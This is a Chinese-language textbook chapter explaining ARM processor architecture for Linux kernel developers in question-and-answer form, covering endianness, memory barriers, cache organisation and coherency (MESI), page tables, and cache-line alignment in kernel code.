Linux 4.x内核已经支持几十种的处理器体系结构,目前市面上最流行的两种体系结构是x86和ARM。x86体系结构以Intel公司的PC和服务器市场为主导,ARM体系结构则是以ARM公司为主导的芯片公司占领了移动手持设备等市场。本书重点讲述Linux内核的设计与实现,但是离开了处理器体系结构,就犹如空中楼阁,毕竟操作系统只是为处理器服务的一种软件而已。目前大部分的Linux内核书籍都是基于x86架构的,但是国内还是有相当多的开发者采用ARM处理器来进行开发产品,比如手机、IoT设备、嵌入式设备等。因此本书基于ARM体系结构来讲述Linux内核的设计与实现。

关于ARM体系结构,ARM公司的官方文档已经有很多详细资料,其中描述ARMv7-A和ARMv8-A架构的手册包括:

另外还有一本非常棒的官方资料,讲述ARM Coxtex系统处理器编程技巧:

读者可以从ARM官方网站中下载到上述4本资料[1]。本书的重点集中在Linux内核本身,不会用过多的篇幅来介绍ARM体系结构的细节,因此本章以快问快答的方式来介绍一些ARM体系结构相关的问题。

可能有些读者对ARM处理器的命名感到疑惑。ARM公司除了提供处理器IP和配套工具以外,主要还是定义了一系列的ARM兼容指令集来构建整个ARM的软件生态系统。从ARMv4指令集开始为国人所熟悉,兼容ARMv4指令集的处理器架构有ARM7-TDMI,典型处理器是三星的S3C44B0X。兼容ARMv5指令集的处理器架构有ARM920T,典型处理器是三星的S3C2440,有些读者还买过基于S3C2440的开发板。兼容ARMv6指令集的处理器架构有ARM11 MPCore。到了ARMv7指令集,处理器系列以Cortex命名,又分成A、R和M系列,通常A系列针对大型嵌入式系统(例如手机),R系列针对实时性系统,M系列针对单片机市场。Cortex-A7和Coxtex-A9处理器是前几年手机的主流配置。Coxtex-A系列处理器面市后,由于处理性能的大幅提高以及杰出功耗控制,使得手机和平板电脑市场迅猛发展。另外一些新的应用需求正在酝酿,比如大内存、虚拟化、安全特性(Trustzone[2]),以及更好的能效比(大小核)等。虚拟化和安全特性在ARMv7上已经实现,但是大内存的支持显得有点捉襟见肘,虽然可以通过LPAE(Large Physical Address Extensions)技术支持40位的物理地址空间,但是由于32位的处理器最高支持4GB的虚拟地址空间,因此不适合虚拟内存需求巨大的应用。于是ARM公司设计了一个全新的指令集,即ARMv8-A指令集,支持64位指令集,并且保持向前兼容ARMv7-A指令集。因此定义AArch64和AArch32两套运行环境分别来运行64位和32位指令集,软件可以动态切换运行环境。为了行文方便,在本书中AArch64也称为ARM64,AArch32也称为ARM32。

1.请简述精简指令集RISC和复杂指令集CISC的区别。

20世纪70年代,IBM的John Cocke研究发现,处理器提供的大量指令集和复杂寻址方式并不会被编译器生成的代码用到:20%的简单指令经常被用到,占程序总指令数的80%,而指令集里其余80%的复杂指令很少被用到,只占程序总指令数的20%。基于这种思想,将指令集和处理器进行重新设计,在新的设计中只保留了常用的简单指令,这样处理器不需要浪费太多的晶体管去做那些很复杂又很少使用的复杂指令。通常,简单指令大部分时间都能在一个cycle内完成,基于这种思想的指令集叫作RISC(Reduced Instruction Set Computer)指令集,以前的指令集叫作CISC(Complex Instruction Set Computer)指令集。

IBM和加州大学伯克利分校的David Patterson以及斯坦福大学的John Hennessy是RISC研究的先驱。Power处理器来自IBM,ARM/SPARC处理器受到伯克利RISC的影响,MIPS来自斯坦福。当下还在使用的最出名的CISC指令集是Intel/AMD的x86指令集。

RISC处理器通过更合理的微架构在性能上超越了当时传统的CISC处理器,在最初的较量中,Intel处理器败下阵来,服务器市场的处理器大部分被RISC阵营占据。Intel的David Papworth和他的同事一起设计了Pentium Pro处理器,x86指令集被解码成类似RISC指令的微操作指令(micro-operations,简称uops),以后执行的过程采用RISC内核的方式。CISC这个古老的架构通过巧妙的设计,又一次焕发生机,Intel的x86处理器的性能逐渐超过同期的RISC处理器,抢占了服务器市场,导致其他的处理器厂商只能向低功耗或者嵌入式方向发展。

RISC和CISC都是时代的产物,RISC在很多思想上更为先进。Intel的CSIC指令集也凭借向前兼容这一利器,打败所有的RISC厂商,包括DEC、SUN、Motorola和IBM,一统PC和服务器领域。不过最近在手机移动业务方面,以ARM为首的厂商占得先机。

2.请简述数值0x12345678在大小端字节序处理器的存储器中的存储方式。

在计算机系统中是以字节为单位的,每个地址单元都对应着一个字节,一个字节为8个比特位。但在32位处理器中,C语言中除了8比特的char类型之外,还有16比特的short型,32bit的int型。另外,对于位数大于8位的处理器,例如16位或者32位的处理器,由于寄存器宽度大于一个字节,那么必然存在着如何安排多个字节的问题,因此导致了大端存储模式(Big-endian)和小端存储模式(Little-endian)。例如一个16比特的short型变量X,在内存中的地址为0x0010,X的值为0x1122,那么0x11为高字节,0x22为低字节。对于大端模式,就将0x11放在低地址中;0x22放在高地址中。小端模式则刚好相反。很多的ARM处理器默认使用小端模式,有些ARM处理器还可以由硬件来选择是大端模式还是小端模式。Cortex-A系列的处理器可以通过软件来配置大小端模式。大小端模式是在处理器Load/Store 访问内存时用于描述寄存器的字节顺序和内存中的字节顺序之间的关系。

大端模式:指数据的高字节保存在内存的低地址中,而数据的低字节保存在内存的高地址中。例如:

内存视图:

0000430: 1234 5678 0100 1800 53ef 0100 0100 0000
0000440: c7b6 1100 0000 3400 0000 0000 0100 ffff

在大端模式下,前32位应该这样读:12 34 56 78。

因此,大端模式下地址的增长顺序与值的增长顺序相同。

小端模式:指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中。例如:

内存视图:

0000430: 7856 3412 0100 1800 53ef 0100 0100 0000
0000440: c7b6 1100 0000 3400 0000 0000 0100 ffff

在小端模式下,前32位应该这样读:12 34 56 78。

因此,小端模式下地址的增长顺序与值的增长顺序相反。

如何检查处理器是大端模式还是小端模式?联合体Union的存放顺序是所有成员都从低地址开始存放的,利用该特性可以轻松获取CPU对内存采用大端模式还是小端模式读写。

int checkCPU(void) 
{ 
    union w 
    {
        int  a; 
        char b; 
    } c; 
    c.a = 1; 
    return (c.b == 1); 
}

如果输出结果是true,则是小端模式,否则是大端模式。

3.请简述在你所熟悉的处理器(比如双核Cortex-A9)中一条存储读写指令的执行全过程。

经典处理器架构的流水线是五级流水线:取指、译码、发射、执行和写回。

现代处理器在设计上都采用了超标量体系结构(Superscalar Architecture)和乱序执行(out-of-order)技术,极大地提高了处理器计算能力。超标量技术能够在一个时钟周期内执行多个指令,实现指令级的并行,有效提高了ILP(Instruction Level Parallelism)指令级的并行效率,同时也增加了整个cache和memory层次结构的实现难度。

一条存储读写指令的执行全过程很难用一句话来回答。在一个支持超标量和乱序执行技术的处理器当中,一条存储读写指令的执行过程被分解为若干步骤。指令首先进入流水线(pipeline)的前端(Front-End),包括预取(fetch)和译码(decode),经过分发(dispatch)和调度(scheduler)后进入执行单元,最后提交执行结果。所有的指令采用顺序方式(In-Order)通过前端,并采用乱序的方式(Out-of-Order,OOO)进行发射,然后乱序执行,最后用顺序方式提交结果,并将最终结果更新到LSQ(Load-Store Queue)部件。LSQ部件是指令流水线的一个执行部件,可以理解为存储子系统的最高层,其上接收来自CPU的存储器指令,其下连接着存储器子系统。其主要功能是将来自CPU的存储器请求发送到存储器子系统,并处理其下存储器子系统的应答数据和消息。

很多程序员对乱序执行的理解有误差。对于一串给定的指令序列,为了提高效率,处理器会找出非真正数据依赖和地址依赖的指令,让它们并行执行。但是在提交执行结果时,是按照指令次序的。总的来说,顺序提交指令,乱序执行,最后顺序提交结果。例如有两条没有数据依赖的数据指令,后面那条指令的读数据先被返回,它的结果也不能先写回到最终寄存器,而是必须等到前一条指令完成之后才可以。

对于读指令,当处理器在等待数据从缓存或者内存返回时,它处于什么状态呢?是等在那不动,还是继续执行别的指令?对于乱序执行的处理器,可以执行后面的指令;对于顺序执行的处理器,会使流水线停顿,直到读取的数据返回。

如图1.1所示,在x86微处理器经典架构中,存储指令从L1指令cache中读取指令,L1指令cache会做指令加载、指令预取、指令预解码,以及分支预测。然后进入Fetch & Decode单元,会把指令解码成macro-ops微操作指令,然后由Dispatch部件分发到Integer Unit或者FloatPoint Unit。Integer Unit由Integer Scheduler和Execution Unit组成,Execution Unit包含算术逻辑单元(arithmetic-logic unit,ALU)和地址生成单元(address generation unit,AGU),在ALU计算完成之后进入AGU,计算有效地址完毕后,将结果发送到LSQ部件。LSQ部件首先根据处理器系统要求的内存一致性(memory consistency)模型确定访问时序,另外LSQ还需要处理存储器指令间的依赖关系,最后LSQ需要准备L1 cache使用的地址,包括有效地址的计算和虚实地址转换,将地址发送到L1 Data Cache中。

图1.1 x86微处理器经典架构图

如图1.2所示,在ARM Cortex-A9处理器中,存储指令首先通过主存储器或者L2 cache加载到L1指令cache中。在指令预取阶段(instruction prefetch stage),主要是做指令预取和分支预测,然后指令通过Instruction Queue队列被送到解码器进行指令的解码工作。解码器(decode)支持两路解码,可以同时解码两条指令。在寄存器重名阶段(Register rename stage)会做寄存器重命名,避免机器指令不必要的顺序化操作,提高处理器的指令级并行能力。在指令分发阶段(Dispatch stage),这里支持4路猜测发射和乱序执行(Out-of-Order Multi-Issue with Speculation),然后在执行单元(ALU/MUL/FPU/NEON)中乱序执行。存储指令会计算有效地址并发射到内存系统中的LSU部件(Load Store Unit),最终LSU部件会去访问L1数据cache。在ARM中,只有cacheable的内存地址才需要访问cache。

图1.2 Cortex-A9结构框图[3]

在多处理器环境下,还需要考虑Cache的一致性问题。L1和L2 Cache控制器需要保证cache的一致性,在Cortex-A9中cache的一致性是由MESI协议来实现的。Cortex-A9处理器内置了L1 Cache模块,由SCU(Snoop Control Unit)单元来实现Cache的一致性管理。L2 Cache需要外接芯片(例如PL310)。在最糟糕情况下需要访问主存储器,并将数据重新传递给LSQ,完成一次存储器读写的全过程。

这里涉及计算机体系结构中的众多术语,比较晦涩难懂,现在对部分术语做简单解释。

4.请简述内存屏障(memory barrier)产生的原因。

程序在运行时的实际内存访问顺序和程序代码编写的访问顺序不一致,会导致内存乱序访问。内存乱序访问的出现是为了提高程序运行时的性能。内存乱序访问主要发生在如下两个阶段。

(1)编译时,编译器优化导致内存乱序访问。

(2)运行时,多CPU间交互引起的内存乱序访问。

编译器会把符合人类思考的逻辑代码(例如C语言)翻译成CPU运算规则的汇编指令,编译器了解底层CPU的思维逻辑,因此它会在翻译成汇编时进行优化。例如内存访问指令的重新排序,提高指令级并行效率。然而,这些优化可能会违背程序员原始的代码逻辑,导致发生一些错误。编译时的乱序访问可以通过volatile关键字来规避。

#define barrier() __asm__ __volatile__ ("" ::: "memory")

barrier()函数告诉编译器,不要为了性能优化而将这些代码重排。

由于现代处理器普遍采用超标量技术、乱序发射以及乱序执行等技术来提高指令级并行的效率,因此指令的执行序列在处理器的流水线中有可能被打乱,与程序代码编写时序列的不一致。另外现代处理器采用多级存储结构,如何保证处理器对存储子系统访问的正确性也是一大挑战。

例如,在一个系统中含有n个处理器P1~Pn,假设每个处理器包含Si个存储器操作,那么从全局来看可能的存储器访问序列有多种组合。为了保证内存访问的一致性,需要按照某种规则来选出合适的组合,这个规则叫做内存一致性模型(Memory Consistency Model)。这个规则需要保证正确性的前提,同时也要保证多处理器访问较高的并行度。

在一个单核处理器系统中,访问内存的正确性比较简单。每次存储器读操作所获得的结果是最近写入的结果,但是在多处理器并发访问存储器的情况下就很难保证其正确性了。我们很容易想到使用一个全局时间比例部件(Global Time Scale)来决定存储器访问时序,从而判断最近访问的数据。这种内存一致性访问模型是严格一致性(Strict Consistency)内存模型,也称为Atomic Consistency。全局时间比例方法实现的代价比较大,那么退而求其次,采用每一个处理器的本地时间比例部件(Local Time Scale)的方法来确定最新数据的方法被称为顺序一致性内存模型(Sequential Consistency)。处理器一致性内存模型(Processor Consistency)是进一步弱化,仅要求来自同一个处理器的写操作具有一致性的访问即可。

以上这些内存一致性模型是针对存储器读写指令展开的,还有一类目前广泛使用的模型,这些模型使用内存同步指令,也称为内存屏障指令。在这种模型下,存储器访问指令被分成数据指令和同步指令两大类,弱一致性内存模型(weak consistency)就是基于这种思想的。

1986年,Dubois等发表的论文描述了弱一致性内存模型的定义。

弱一致性内存模型要求同步访问是顺序一致的,在一个同步访问可以被执行之前,所有之前的数据访问必须完成。在一个正常的数据访问可以被执行之前,所有之前的同步访问必须完成。这实质上把一致性问题留给了程序员来决定。

ARM的Cortex-A系列处理器实现弱一致性内存模型,同时也提供了3条内存屏障指令。

5.ARM有几条memory barrier的指令?分别有什么区别?

从ARMv7指令集开始,ARM提供3条内存屏障指令。

(1)数据存储屏障(Data Memory Barrier,DMB)

数据存储器隔离。DMB指令保证:仅当所有在它前面的存储器访问操作都执行完毕后,才提交(commit)在它后面的存取访问操作指令。当位于此指令前的所有内存访问均完成时,DMB指令才会完成。

(2)数据同步屏障(Data synchronization Barrier,DSB)

数据同步隔离。比DMB要严格一些,仅当所有在它前面的存储访问操作指令都执行完毕后,才会执行在它后面的指令,即任何指令都要等待DSB前面的存储访问完成。位于此指令前的所有缓存,如分支预测和TLB(Translation Look-aside Buffer)维护操作全部完成。

(3)指令同步屏障(Instruction synchronization Barrier,ISB)

指令同步隔离。它最严格,冲洗流水线(Flush Pipeline)和预取buffers(pretcLbuffers)后,才会从cache或者内存中预取ISB指令之后的指令。ISB通常用来保证上下文切换的效果,例如更改ASID(Address Space Identifier)、TLB维护操作和C15寄存器的修改等。

内存屏障指令的使用例子如下。

例1:假设有两个CPU核A和B,同时访问Addr1和Addr2地址。

Core A:
   STR R0, [Addr1]
LDR R1, [Addr2]

Core B:
   STR R2, [Addr2]
   LDR R3, [Addr1]

对于上面代码片段,没有任何的同步措施。对于Core A、寄存器R1、Core B和寄存器R3,可能得到如下4种不同的结果。

例2:假设Core A写入新数据到Msg地址,Core B需要判断flag标志后才读入新数据。

Core A:
       STR R0, [Msg] @ 写新数据到Msg地址
       STR R1, [Flag] @ Flag标志新数据可以读

Core B:
   Poll_loop:
       LDR R1, [Flag]
       CMP R1,#0       @ 判断flag有没有置位
       BEQ Poll_loop
       LDR R0, [Msg]   @ 读取新数据

在上面的代码片段中,Core B可能读不到最新的数据,因为Core B可能因为乱序执行的原因先读入Msg,然后读取Flag。在弱一致性内存模型中,处理器不知道Msg和Flag存在数据依赖性,所以程序员必须使用内存屏障指令来显式地告诉处理器这两个变量有数据依赖关系。Core A需要在两个存储指令之间插入DMB指令来保证两个store存储指令的执行顺序。Core B需要在“LDR R0, [Msg]”之前插入DMB指令来保证直到Flag置位才读入Msg。

例3:在一个设备驱动中,写入一个命令到一个外设寄存器中,然后等待状态的变化。

STR R0, [Addr]        @ 写一个命令到外设寄存器
DSB
Poll_loop:
    LDR R1, [Flag]
    CMP R1,#0         @ 等待状态寄存器的变化
    BEQ Poll_loop

在STR存储指令之后插入DSB指令,强制让写命令完成,然后执行读取Flag的判断循环。

6.请简述cache的工作方式。

处理器访问主存储器使用地址编码方式。cache也使用类似的地址编码方式,因此处理器使用这些编码地址可以访问各级cache。如图1.3所示,是一个经典的cache架构图。

图1.3 经典cache架构

处理器在访问存储器时,会把地址同时传递给TLB(Translation Lookaside Buffer)和cache。TLB是一个用于存储虚拟地址到物理地址转换的小缓存,处理器先使用EPN(effective page number)在TLB中进行查找最终的RPN(Real Page Number)。如果这期间发生TLB miss,将会带来一系列严重的系统惩罚,处理器需要查询页表。假设这里TLB Hit,此时很快获得合适的RPN,并得到相应的物理地址(Physical Address,PA)。

同时,处理器通过cache编码地址的索引域(Cache Line Index)可以很快找到相应的cache line组。但是这里的cache block的数据不一定是处理器所需要的,因此有必要进行一些检查,将cache line中存放的地址和通过虚实地址转换得到的物理地址进行比较。如果相同并且状态位匹配,那么就会发生cache命中(Cache Hit),那么处理器经过字节选择和偏移(Byte Select and Align)部件,最终就可以获取所需要的数据。如果发生cache miss,处理器需要用物理地址进一步访问主存储器来获得最终数据,数据也会填充到相应的cache line中。上述描述的是VIPT(virtual Index phg sical Tag)的cache组织方式,将会在问题9中详细介绍。

如图1.4所示,是cache的基本的结构图。

图1.4 cache结构图

7.cache的映射方式有full-associative(全关联)、direct-mapping(直接映射)和set-associative(组相联)3种方式,请简述它们之间的区别。为什么现代的处理器都使用组相联的cache映射方式?

(1)直接映射(Direct-mapping)

根据每个组(set)的高速缓存行数,cache可以分成不同的类。当每个组只有一行cache line时,称为直接映射高速缓存。

如图1.5所示,下面用一个简单小巧的cache来说明,这个cache只有4行cache line,每行有4个字(word,一个字是4个Byte),共64 Byte。这个cache控制器可以使用两个比特位(bits[3:2])来选择cache line中的字,以及使用另外两个比特位(bits[5:4])作为索引(Index),选择4个cache line中的一个,其余的比特位用于存储标记值(Tag)。

在这个cache中查询,当索引域和标记域的值和查询的地址相等,并且有效位显示这个cache line包含有效数据时,则发生cache命中,那么可以使用偏移域来寻址cache line中的数据。如果cache line包含有效数据,但是标记域是其他地址的值,那么这个cache line需要被替换。因此,在这个cache中,主存储器中所有bit [5:4]相同值的地址都会映射到同一个cache line中,并且同一时刻只有一个cache line,因为cache line被频繁换入换出,会导致严重的cache颠簸(cache thrashing)。

图1.5 直接眏射的cache和cache地址

假设在下面的代码片段中,result、data1和data2分别指向0x00、0x40和0x80地址,它们都会使用同一个cache line。

void add_array(int *data1, int *data2, int *result, int size)
{
    int i;
    for (i=0 ; i<size ; i++) {
          result[i] = data1[i] + data2[i];
    }
}

(2)组相联(set associative)

为了解决直接映射高速缓存中的cache颠簸问题,组相联的cache结构在现代处理器中得到广泛应用。

如图1.6所示,下面以一个2路组相联的cache为例,每个路(way)包括4个cache line,那么每个组(set)有两个cache line可以提供cache line替换。

图1.6 2路组相联的映射关系

地址0x00、0x40或者0x80的数据可以映射到同一个组中任意一个cache line。当cache line要发生替换操作时,就有50%的概率可以不被替换,从而减小了cache颠簸。

8.在一个32KB的4路组相联的cache中,其中cache line为32Byte,请画出这个cache的cache line、way和set的示意图。

在Cortex-A7和Cortex-A9的处理器上可以看到32KB 大小的4路组相联cache。下面来分析这个cache的结构图。

cache的总大小为32KB,并且是4路(way),所以每一路的大小为8KB:

way_size = 32 / 4 = 8(KB)

cache Line的大小为32Byte,所以每一路包含的cache line数量为:

num_cache_line = 8KB/32B = 256

所以在cache编码地址Address中,bit[4:0]用于选择cache line中的数据,其中bit [4:2]可以用于寻址8个字,bit [1:0]可以用于寻址每个字中的字节。bit [12:5]用于索引(Index)选择每一路上cache line,其余的bit [31:13]用作标记位(Tag),如图1.7所示。

9.ARM9处理器的Data Cache组织方式使用的VIVT,即虚拟Index虚拟Tag,而在Cortex-A7处理器中使用PIPT,即物理Index物理Tag,请简述PIPT比VIVT有什么优势?

处理器在进行存储器访问时,处理器访问地址是虚拟地址(virtual address,VA),经过TLB和MMU的映射,最终变成了物理地址(physical address,PA)。那么查询cache组是用虚拟地址,还是物理地址的索引域(Index)呢?当找到cache组时,我们是用虚拟地址,还是物理地址的标记域(Tag)来匹配cache line呢?

cache可以设计成通过虚拟地址或者物理地址来访问,这个在处理器设计时就确定下来了,并且对cache的管理有很大的影响。cache可以分成如下3类。

图1.7 32KB 4路组相联cache结构图

在早期的ARM处理器中(比如ARM9处理器)采用VIVT的方式,不用经过MMU的翻译,直接使用虚拟地址的索引域和标记域来查找cache line,这种方式会导致高速缓存别名(cache alias)问题。例如一个物理地址的内容可以出现在多个cache line中,当系统改变了虚拟地址到物理地址映射时,需要清洗(clean)和无效(invalidate)这些cache,导致系统性能下降。

ARM11系列处理器采用VIPT方式,即处理器输出的虚拟地址同时会发送到TLB/MMU单元进行地址翻译,以及在cache中进行索引和查询cache组。这样cache和TLB/MMU可以同时工作,当TLB/MMU完成地址翻译后,再用物理标记域来匹配cache line。采用VIPT方式的好处之一是在多任务操作系统中,修改了虚拟地址到物理地址映射关系,不需要把相应的cache进行无效(invalidate)操作。

ARM Cortex-A系列处理器的数据cache开始采用PIPT的方式。对于PIPT方式,索引域和标记域都采用物理地址,cache中只有一个cache组与之对应,不会产生高速缓存别名的问题。PIPT的方式在芯片设计里的逻辑比VIPT要复杂得多。

采用VIPT方式也有可能导致高速缓存别名的问题。在VIPT中,使用虚拟地址的索引域来查找cache组,这时有可能导致多个cache组映射到同一个物理地址上。以Linux kernel为例,它是以4KB大小为一个页面进行管理的,那么对于一个页来说,虚拟地址和物理地址的低12bit(bit [11:0])是一样的。因此,不同的虚拟地址映射到同一个物理地址,这些虚拟页面的低12位是一样的。如果索引域位于bit [11:0]范围内,那么就不会发生高速缓存别名。例如,cache line是32Byte,那么数据偏移域offset占5bit,有128个cache组,那么索引域占7bit,这种情况下刚好不会发生别名。另外,对于ARM Cortex-A系列处理器来说,cache总大小是可以在芯片集成中配置的。如表1.1所示,列举出了Cortex-A系列处理器的cache配置情况。

表1.1 ARM处理器的cache概况

Cortex-A7

Cortex-A9

Cortex-A15

Cortex-A53

数据缓存实现方式

PIPT

PIPT

PIPT

PIPT

指令缓存实现方式

VIPT

VIPT

PIPT

VIPT

L1数据缓存大小

8KB~64KB

16KB/32KB/64KB

32KB

8KB~64KB

L1数据缓存结构

4路组相联

4路组相联

2路组相联

4路组相联

L2缓存大小

128KB~1MB

External

512KB~4MB

128KB~2MB

L2缓存结构

8路组相联

External

16路组相联

16路组相联

10.请画出在二级页表架构中虚拟地址到物理地址查询页表的过程。

如图1.8所示,ARM处理器的内存管理单元(Memory Management Unit, MMU)包括TLB和Table Walk Unit两个部件。TLB是一块高速缓存,用于缓存页表转换的结果,从而减少内存访问的时间。一个完整的页表翻译和查找的过程叫作页表查询(Translation table walk),页表查询的过程由硬件自动完成,但是页表的维护需要软件来完成。页表查询是一个相对耗时的过程,理想的状态下是TLB里存有页表相关信息。当TLB Miss时,才会去查询页表,并且开始读入页表的内容。

图1.8 ARM内存管理架构

(1)ARMv7-A架构的页表

ARMv7-A架构支持安全扩展(Security Extensions),其中Cortex-A15开始支持大物理地址扩展(Large Physical Address Extension,LPAE)和虚拟化扩展,使得MMU的实现比以前的ARM处理器要复杂得多。

如图1.9所示,如果使能了安全扩展,ARMv7-A处理器分成安全世界(Secure World)和非安全世界(Non-secure World,也称为Normal World)。

图1.9 ARMv7-A架构的运行模式和特权

如果处理器使能了虚拟化扩展,那么处理器会在非安全世界中增加一个Hyp模式。

在非安全世界中,运行特权被划分为PL0、PL1和PL2。

当处理器使能了虚拟化扩展,MMU的工作会变得更复杂。我们这里只讨论处理器没有使能安全扩展和虚拟化扩展的情况。ARMv7处理器的二级页表根据最终页的大小可以分为如下4种情况。

如果只需要支持超级大段和段映射,那么只需要一级页表即可。如果要支持4KB页面或64KB大页映射,那么需要用到二级页表。不同大小的映射,一级或二级页表中的页表项的内容也不一样。如图1.10所示,以4KB页的映射为例。

图1.10 ARMv7-A二级页表查询过程

当TLB Miss时,处理器查询页表的过程如下。

如图 1.11 所示的4KB映射的一级页表的表项,bit[1:0]表示是一个页映射的表项,bit[31:10]指向二级页表的物理基地址。

图1.11 4KB映射的一级页表的表项

如图1.12所示的4KB映射的二级页表的表项,bit[31:12]指向4KB大小的页面的物理基地址。

图1.12 4KB映射的二级页表的表项

(2)ARMv8-A架构的页表

ARMv8-A架构开始支持64bit操作系统。从ARMv8-A架构的处理器可以同时支持64bit和32bit应用程序,为了兼容ARMv7-A指令集,从架构上定义了AArch64架构和AArch32架构。

AArch64架构和ARMv7-A架构一样支持安全扩展和虚拟化扩展。安全扩展把ARM的世界分成了安全世界和非安全世界。AArch64架构的异常等级(Exception Levels)确定其运行特权级别,类似ARMv7架构中特权等级,如图1.13所示。

在AArch64架构中的MMU支持单一阶段的地址页表转换,同样也支持虚拟化扩展中的两阶段的页表转换。

图1.13 AArch64架构的异常等级

阶段1——虚拟地址翻译成中间物理地址(Intermediate Physical Address,IPA)。

阶段2——中间物理地址IPA翻译成最终物理地址PA。

在AArch64架构中,因为地址总线带宽最多48位,所以虚拟地址VA被划分为两个空间,每个空间最大支持256TB。

如图1.14所示,AArch64架构处理地址映射图,其中页面是4KB的小页面。AArch64架构中的页表支持如下特性。

图1.14 AArch64架构地址映射图(4KB页)

11.在多核处理器中,cache的一致性是如何实现的?请简述MESI协议的含义。

高速缓存一致性(cache coherency)产生的原因是在一个处理器系统中不同CPU核上的数据cache和内存可能具有同一个数据的多个副本,在仅有一个CPU核的系统中不存在一致性问题。维护cache一致性的关键是跟踪每一个cache line的状态,并根据处理器的读写操作和总线上的相应传输来更新cache line在不同CPU核上的数据cache中的状态,从而维护cache一致性。cache一致性有软件和硬件两种方式,有的处理器架构提供显式操作cache的指令,例如PowerPC,不过现在大多数处理器架构采用硬件方式来维护。在处理器中通过cache一致性协议来实现,这些协议维护一个有限状态机(Finite State Machine,FSM),根据存储器读写指令或总线上的传输,进行状态迁移和相应的cache操作来保证cache一致性,不需要软件介入。

cache一致性协议主要有两大类别,一类是监听协议(Snooping Protocol),每个cache都要被监听或者监听其他cache的总线活动;另外一类是目录协议(Directory Protocol),全局统一管理cache状态。

1983年,James Goodman提出Write-Once总线监听协议,后来演变成目前最流行的MESI协议。总线监听协议依赖于这样的事实,即所有的总线传输事务对于系统内所有的其他单元是可见的,因为总线是一个基于广播通信的介质,因而可以由每个处理器的cache来进行监听。这些年来人们已经提出了数十种协议,这些协议基本上都是write-once协议的变种。不同的协议需要不同的通信量,要求太多的通信量会浪费总线带宽,使总线争用变多,留下来给其他部件使用的带宽就减少。因此,芯片设计人员尝试将保持一致性的协议所需要的总线通信量减少到最小,或者尝试优化某些频繁执行的操作。

目前,ARM或x86等处理器广泛使用类似MESI协议来维护cache一致性。MESI协议的得名源于该协议使用的修改态(Modified)、独占态(Exclusive)、共享态(Shared)和失效态(Invalid)这4个状态。cache line中的状态必须是上述4种状态中的一种。MESI协议还有一些变种,例如MOESI协议等,部分的ARMv7-A和ARMv8-A处理器使用该变种。

cache line中有两个标志:dirty和valid。它们很好地描述了cache和内存之间的数据关系,例如数据是否有效、数据是否被修改过。在MESI协议中,每个cache line有4个状态,可用2bit来表示。

如表1.2和表1.3所示,分别是MESI协议4个状态的说明和MESI协议各个状态的转换关系。

表1.2 MESI协议定义

状态

描述

M(修改态)

这行数据有效,数据被修改,和内存中的数据不一致,数据只存在本cache中

E(独占态)

这行数据有效,数据和内存中数据一致,数据只存在于本cache中

S(共享态)

这行数据有效,数据和内存中数据一致,多个cache有这个数据副本

I(无效态)

这行数据无效

表1.3 MESI状态说明

当前状态 操作 响应 迁移状态
修改态M 总线读 Flush该cache line到内存,以便其他CPU可以访问到最新的内容,状态变成S态 S
总线写 Flush该cache line到内存,然后其他CPU修改cache line,因此本cache line执行清空数据操作,状态变成I态 I
处理器读 本地处理器读该cache line,状态不变 M
处理器写 本地处理器写该cache line,状态不变 M
独占态E 总线读 独占状态的cache line是干净的,因此状态变成S S
总线写 数据被修改,该cache line不能再使用了,状态变成I I
本地读 从该cache line中取数据,状态不变 E
本地写 修改该cache line数据,状态变成M M
共享态S 总线读 状态不变 S
总线写 数据被修改,该cache line不能再使用了,状态变成I I
本地读 状态不变 S
本地写 修改了该cache line数据,状态变成M;其他核上共享的cache line的状态变成I M
无效态I 总线读 状态不变 I
总线写 状态不变 I
本地读 ● 如果cache miss,则从内存中取数据,cache line变成E;
● 如果其他cache有这份数据,且状态为M,则将数据更新到内存,本cache再从内存中取数据,两个cache line的状态都为S;
● 如果其他cache有这份数据,且状态是S或E,本cache从内存中取数据,这些cache line都变成S
E/S
本地写 ● 如果cache miss,从内存中取数据,在cache中修改,状态变成M;
● 如果其他cache有这份数据,且状态为M,则要先将数据更新到内存,其他cache line状态变成I,然后修改本cache line的内容
M

MOESI协议增加了一个O(Owned)状态,并在MESI协议的基础上重新定义了S状态,而E、M和I状态与MESI协议的对应状态相同。

12.cache在Linux内核中有哪些应用?

cache line的空间都很小,一般也就32 Byte。CPU的cache是线性排列的,也就是说一个32 Byte的cache line与32 Byte的地址对齐,另外相邻的地址会在不同的cache line中错开,这里是指32*n的相邻地址。

cache在linux内核中有很多巧妙的应用,读者可以在阅读本书后面章节遇到类似的情况时细细体会,暂时先总结归纳如下。

(1)内核中常用的数据结构通常是和L1 cache对齐的。例如,mm_struct、fs_cache等数据结构使用“SLAB_HWCACHE_ALIGN”标志位来创建slab缓存描述符,见proc_caches_init()函数。

(2)一些常用的数据结构在定义时就约定数据结构以L1 Cache对齐,使用“_cacheline_internodealigned_in_smp”和“_cacheline_aligned_in_smp”等宏来定义数据结构,例如struct zone、struct irqaction、softirq_vec[ ]、irq_stat[ ]、struct worker_pool等。

cache和内存交换的最小单位是cache line,若结构体没有和cache line对齐,那么一个结构体有可能占用多个cache line。假设cache line的大小是32 Byte,一个本身小于32 Byte的结构体有可能横跨了两条cache line,在SMP中会对系统性能有不小的影响。举个例子,现在有结构体C1和结构体C2,缓存到L1 Cache时没有按照cache line对齐,因此它们有可能同时占用了一条cache line,即C1的后半部和C2的前半部在一条cache line中。根据cache 一致性协议,CPU0修改结构体C1的时会导致CPU1的cache line失效,同理,CPU1对结构体C2修改也会导致CPU0的cache line失效。如果CPU0和CPU1反复修改,那么会导致系统性能下降。这种现象叫做“cache line伪共享”,两个CPU原本没有共享访问,因为要共同访问同一个cache line,产生了事实上的共享。解决上述问题的一个方法是让结构体按照cache line对齐,典型地以空间换时间。include/linux/cache.h文件定义了有关cache相关的操作,其中____cacheline_aligned_in_smp的定义也在这个文件中,它和L1_CACHE_BYTES对齐。

[include/linux/cache.h]

#define SMP_CACHE_BYTES L1_CACHE_BYTES

#define ____cacheline_aligned __attribute__ ((__aligned__ (SMP_CACHE_BYTES)))
#define ____cacheline_aligned_in_smp ____cacheline_aligned

#ifndef __cacheline_aligned
#define __cacheline_aligned   \
  __attribute__ ((__aligned__ (SMP_CACHE_BYTES),  \
          __section__ (".data..cacheline_aligned")))
#endif /* __cacheline_aligned */

#define __cacheline_aligned_in_smp __cacheline_aligned

#define ____cacheline_internodealigned_in_smp \
    __attribute__ ((__aligned__ (1 << (INTERNODE_CACHE_SHIFT))))

